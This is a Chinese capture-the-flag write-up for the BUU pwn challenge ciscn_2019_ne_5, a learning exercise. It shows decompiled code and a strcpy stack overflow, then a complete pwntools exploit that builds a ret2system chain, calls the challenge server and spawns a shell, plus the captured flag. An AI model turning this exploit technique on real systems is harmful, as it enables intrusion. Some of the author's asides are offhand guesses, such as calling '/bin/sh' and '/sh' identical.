本文主要是介绍BUU-ciscn_2019_ne_5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
检查保护
IDA
逻辑不是很复杂,
第一次提示输入admin密码,密码要输入administrator才能下一步
接着是输入功能选项(0~3)
第一个输入,看起来没啥用,但是传入的是src字符串,返回的也是src
第二个输出,进去只有一个put,一无所有
第三个是打印,里面发现了system函数
第四个本应该是’0’选项,这里多了个’4’,函数名叫getflag,进去看是个输出flag的函数,初步预测跳转到这里就可以了。
第五个才是’0’的退出
int __cdecl main(int argc, const char **argv, const char **envp)
{int result; // eaxint v4; // [esp+0h] [ebp-100h] BYREFchar src[4]; // [esp+4h] [ebp-FCh] BYREFchar v6[124]; // [esp+8h] [ebp-F8h] BYREFchar s1[4]; // [esp+84h] [ebp-7Ch] BYREFchar v8[96]; // [esp+88h] [ebp-78h] BYREFint *v9; // [esp+F4h] [ebp-Ch]v9 = &argc;setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);fflush(stdout);*(_DWORD *)s1 = 48;memset(v8, 0, sizeof(v8));*(_DWORD *)src = 48;memset(v6, 0, sizeof(v6));puts("Welcome to use LFS.");printf("Please input admin password:");__isoc99_scanf("%100s", s1);if ( strcmp(s1, "administrator") ){puts("Password Error!");exit(0);}puts("Welcome!");puts("Input your operation:");puts("1.Add a log.");puts("2.Display all logs.");puts("3.Print all logs.");printf("0.Exit\n:");__isoc99_scanf("%d", &v4);switch ( v4 ){case 0:exit(0);return result;case 1:AddLog(src);result = sub_804892B(argc, argv, envp);break;case 2:Display(src);result = sub_804892B(argc, argv, envp);break;case 3:Print();result = sub_804892B(argc, argv, envp);break;case 4:GetFlag(src);result = sub_804892B(argc, argv, envp);break;default:result = sub_804892B(argc, argv, envp);break;}return result;
}
解题
本来我想直接在功能选项输入4,但是弹出的flag是0……
可能直接跳转还是不行,这里看看能不能rop:
再次翻看四个选项,发现getflag有个strcpy,这里可以栈溢出跳转地址,dest栈空间0x48。拷贝的src可以在选项1里输入。
现在手里有了system,栈溢出点,就差/bin/sh
这里我找了很久没找到,暂时也没学libc库怎么调用,看大佬wp发现有个ffllush字符,可以截取里面的sh(太骚了),由于只截取部分字符,所以地址要手动偏移偏移。
我一开始不知道咋算,是按照小端序?要不要算\00?后面发现大佬用ROPgatget直接找关键字符串,服ORZ
0x080482E6到0x080482EA增加了4,应该是1个字符占一个地址,不是小端序,fflu刚好四个地址,\00在sh后面
EXP
👴吐了,sytem函数没点进去,调用错地址了,一直报错……
from pwn import *
p=remote('node3.buuoj.cn',29801)
context.log_level='debug'
p.recvuntil("password:")
p.sendline("administrator")
p.recvuntil("operation:")
p.sendline("1")
p.sendline('A'*0x48+'a'*4+p32(0x80484D0)+'a'*4+p32(0x080482EA))
p.recvuntil(":")
p.sendline('4')
p.interactive()
附:获取_system地址的其它写法:
system_plt = elf.plt['system']
system_addr=elf.sym['system']
flag
flag{e88eea8b-c04b-468e-a5c9-d6bb08c3547b}
坑&填坑
1.明明构造了system("/sh")为什么还要倒回去执行4号选项才能正常进入交互界面,否则报错
2./bin/sh 和 /sh有啥区别
没啥区别
这篇关于BUU-ciscn_2019_ne_5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!